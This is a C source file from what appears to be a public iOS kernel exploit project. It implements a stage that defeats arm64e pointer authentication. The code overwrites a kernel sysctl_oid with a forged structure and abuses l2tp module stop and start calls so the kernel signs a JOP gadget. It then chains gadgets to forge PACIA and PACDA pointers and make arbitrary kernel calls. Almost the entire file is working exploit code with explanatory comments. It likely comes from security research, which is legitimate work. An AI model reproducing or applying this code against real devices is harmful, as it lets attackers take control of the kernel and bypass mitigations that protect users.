summaryrefslogtreecommitdiff
path: root/kernel_call/pac.c
blob: 9f036fc9a2473ccb343baa6a433c80c3767147e7 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
/*
 * kernel_call/pac.c
 * Brandon Azad
 */
#include "pac.h"

#include "kernel_call.h"
#include "kc_parameters.h"
#include "user_client.h"
#include "kernel_memory.h"
#include "log.h"
#include "mach_vm.h"
#include "parameters.h"

#if __arm64e__

// ---- Global variables --------------------------------------------------------------------------

// The address of our kernel buffer.
static uint64_t kernel_pacxa_buffer;

// The forged value PACIZA('mov x0, x4 ; br x5').
static uint64_t paciza__mov_x0_x4__br_x5;

// ---- Stage 2 -----------------------------------------------------------------------------------

/*
 * stage1_kernel_call_7
 *
 * Description:
 * 	Call a kernel function using our stage 1 execute primitive with explicit registers.
 *
 * 	See stage1_kernel_call_7v.
 */
static uint32_t
stage1_kernel_call_7(uint64_t function, uint64_t x1, uint64_t x2, uint64_t x3,
		uint64_t x4, uint64_t x5, uint64_t x6) {
	uint64_t arguments[7] = { 1, x1, x2, x3, x4, x5, x6 };
	return stage1_kernel_call_7v(function, 7, arguments);
}

/*
 * stage1_init_kernel_pacxa_forging
 *
 * Description:
 * 	Initialize our stage 1 capability to forge PACIA and PACDA pointers.
 */
static void
stage1_init_kernel_pacxa_forging() {
	// Get the authorized pointers to l2tp_domain_module_start() and l2tp_domain_module_stop().
	// Because these values already contain the PACIZA code, we can call them with the stage 0
	// call primitive to start/stop the module.
	uint64_t paciza__l2tp_domain_module_start = kernel_read64(
			ADDRESS(paciza_pointer__l2tp_domain_module_start));
	uint64_t paciza__l2tp_domain_module_stop = kernel_read64(
			ADDRESS(paciza_pointer__l2tp_domain_module_stop));

	// Read out the original value of sysctl__net_ppp_l2tp__data.
	uint8_t sysctl__net_ppp_l2tp__data[SIZE(sysctl_oid)];
	kernel_read(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));

	// Create a fake sysctl_oid for sysctl_unregister_oid(). We craft this sysctl_oid such that
	// sysctl_unregister_oid() will execute the following instruction sequence:
	//
	// 	LDR         X10, [X9,#0x30]!		; X10 = old_oidp->oid_handler
	// 	CBNZ        X19, loc_FFFFFFF007EBD330
	// 	CBZ         X10, loc_FFFFFFF007EBD330
	// 	MOV         X19, #0
	// 	MOV         X11, X9			; X11 = &old_oidp->oid_handler
	// 	MOVK        X11, #0x14EF,LSL#48		; X11 = 14EF`&oid_handler
	// 	AUTIA       X10, X11			; X10 = AUTIA(handler, 14EF`&handler)
	// 	PACIZA      X10				; X10 = PACIZA(X10)
	// 	STR         X10, [X9]			; old_oidp->oid_handler = X10
	//
	uint8_t fake_sysctl_oid[SIZE(sysctl_oid)];
	memset(fake_sysctl_oid, 0xab, SIZE(sysctl_oid));
	FIELD(fake_sysctl_oid, sysctl_oid, oid_parent,  uint64_t) = ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_link);
	FIELD(fake_sysctl_oid, sysctl_oid, oid_link,    uint64_t) = ADDRESS(sysctl__net_ppp_l2tp);
	FIELD(fake_sysctl_oid, sysctl_oid, oid_kind,    uint32_t) = 0x400000;
	FIELD(fake_sysctl_oid, sysctl_oid, oid_handler, uint64_t) = ADDRESS(mov_x0_x4__br_x5);
	FIELD(fake_sysctl_oid, sysctl_oid, oid_version, uint32_t) = 1;
	FIELD(fake_sysctl_oid, sysctl_oid, oid_refcnt,  uint32_t) = 0;

	// Overwrite sysctl__net_ppp_l2tp with our fake sysctl_oid.
	kernel_write(ADDRESS(sysctl__net_ppp_l2tp), fake_sysctl_oid, SIZE(sysctl_oid));

	// Call l2tp_domain_module_stop() to trigger sysctl_unregister_oid() on our fake
	// sysctl_oid, which will PACIZA our pointer to the "mov x0, x4 ; br x5" gadget.
	__unused uint32_t ret;
	ret = stage1_kernel_call_7(
			paciza__l2tp_domain_module_stop,	// PC
			0, 0, 0, 0, 0, 0);			// X1 - X6
	DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
			"l2tp_domain_module_stop", ret,
			kernel_read32(ADDRESS(l2tp_domain_inited)));

	// Read back the PACIZA'd pointer to the 'mov x0, x4 ; br x5' gadget. This pointer will not
	// be exactly correct, since it PACIZA'd an AUTIA'd pointer we didn't sign. But we can use
	// this value to reconstruct the correct PACIZA'd pointer.
	uint64_t handler = kernel_read64(
			ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_handler));
	paciza__mov_x0_x4__br_x5 = handler ^ (1uLL << (63 - 1));
	DEBUG_TRACE(1, "PACIZA(%s) = 0x%016llx", "'mov x0, x4 ; br x5'", paciza__mov_x0_x4__br_x5);

	// Now write back the original sysctl_oid and call sysctl_unregister_oid() to clean it up.
	kernel_write(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
	ret = stage1_kernel_call_7(
			paciza__mov_x0_x4__br_x5,	// PC
			0, 0, 0,			// X1 - X3
			ADDRESS(sysctl__net_ppp_l2tp),	// X4
			ADDRESS(sysctl_unregister_oid),	// X5
			0);				// X6
	DEBUG_TRACE(2, "%s(%016llx) = 0x%08x", "sysctl_unregister_oid",
			ADDRESS(sysctl__net_ppp_l2tp), ret);

	// And finally call l2tp_domain_module_start() to re-initialize the module.
	ret = stage1_kernel_call_7(
			paciza__l2tp_domain_module_start,	// PC
			0, 0, 0, 0, 0, 0);			// X1 - X6
	DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
			"l2tp_domain_module_start", ret,
			kernel_read32(ADDRESS(l2tp_domain_inited)));

	// Alright, so now we have an arbitrary call gadget!
	kernel_pacxa_buffer = stage1_get_kernel_buffer();
}

// ---- Stage 2 -----------------------------------------------------------------------------------

/*
 * stage2_kernel_forge_pacxa
 *
 * Description:
 * 	Forge a PACIA or PACDA pointer using the kernel forging gadgets.
 */
static uint64_t
stage2_kernel_forge_pacxa(uint64_t address, uint64_t context, bool instruction) {
	const size_t pacxa_buffer_size   = SIZE(kernel_forge_pacxa_gadget_buffer);
	const size_t pacxa_buffer_offset = OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
	// Initialize the kernel_pacxa_buffer to be all zeros.
	uint8_t pacxa_buffer[pacxa_buffer_size - pacxa_buffer_offset];
	memset(pacxa_buffer, 0, sizeof(pacxa_buffer));
	kernel_write(kernel_pacxa_buffer, pacxa_buffer, sizeof(pacxa_buffer));
	// The buffer address we pass to the gadget is offset from the part of that we initialize
	// (to save us some space). The result is stored at different offsets in the buffer
	// depending on whether the operation is PACIA or PACDA.
	uint64_t buffer_address = kernel_pacxa_buffer - pacxa_buffer_offset;
	uint64_t result_address = buffer_address;
	uint64_t pacxa_gadget;
	if (instruction) {
		result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
		pacxa_gadget = ADDRESS(kernel_forge_pacia_gadget);
	} else {
		result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
		pacxa_gadget = ADDRESS(kernel_forge_pacda_gadget);
	}
	// We need to set:
	//
	// 	x2  = buffer_address
	// 	x9  = address
	// 	x10 = context
	//
	// In order to do that we'll execute the following JOP sequence before jumping to the
	// gadget:
	//
	// 	mov  x0, x4 ; br x5
	// 	mov  x9, x0 ; br x1
	// 	mov x10, x3 ; br x6
	//
	__unused uint32_t ret;
	ret = stage1_kernel_call_7(
			paciza__mov_x0_x4__br_x5,	// PC
			ADDRESS(mov_x10_x3__br_x6),	// X1
			buffer_address,			// X2
			context,			// X3
			address,			// X4
			ADDRESS(mov_x9_x0__br_x1),	// X5
			pacxa_gadget);			// X6
	DEBUG_TRACE(2, "%s_GADGET(): 0x%08x", (instruction ? "PACIA" : "PACDA"), ret);
	// Now recover the PACXA'd value.
	uint64_t pacxa = kernel_read64(result_address);
	return pacxa;
}

/*
 * xpaci
 *
 * Description:
 * 	Strip a PACIx code from a pointer.
 */
static uint64_t
xpaci(uint64_t pointer) {
	asm("xpaci %[value]\n" : [value] "+r"(pointer));
	return pointer;
}

/*
 * xpacd
 *
 * Description:
 * 	Strip a PACDx code from a pointer.
 */
static uint64_t
xpacd(uint64_t pointer) {
	asm("xpacd %[value]\n" : [value] "+r"(pointer));
	return pointer;
}

#endif // __arm64e__

// ---- API ---------------------------------------------------------------------------------------

bool
stage2_kernel_call_init() {
#if __arm64e__
	stage1_init_kernel_pacxa_forging();
#endif
	return true;
}

void
stage2_kernel_call_deinit() {
}

uint32_t
stage2_kernel_call_7v(uint64_t function,
		size_t argument_count, const uint64_t arguments[]) {
	uint64_t paciza_function = kernel_forge_pacia(function, 0);
	return stage1_kernel_call_7v(paciza_function, argument_count, arguments);
}

uint64_t
kernel_forge_pacia(uint64_t pointer, uint64_t context) {
#if __arm64e__
	return stage2_kernel_forge_pacxa(pointer, context, true);
#else
	return pointer;
#endif
}

uint64_t
kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type) {
	uint64_t context = ((uint64_t) type << 48) | (address & 0x0000ffffffffffff);
	return kernel_forge_pacia(pointer, context);
}

uint64_t
kernel_forge_pacda(uint64_t pointer, uint64_t context) {
#if __arm64e__
	return stage2_kernel_forge_pacxa(pointer, context, false);
#else
	return pointer;
#endif
}

uint64_t
kernel_xpaci(uint64_t pointer) {
#if __arm64e__
	return xpaci(pointer);
#else
	return pointer;
#endif
}

uint64_t
kernel_xpacd(uint64_t pointer) {
#if __arm64e__
	return xpacd(pointer);
#else
	return pointer;
#endif
}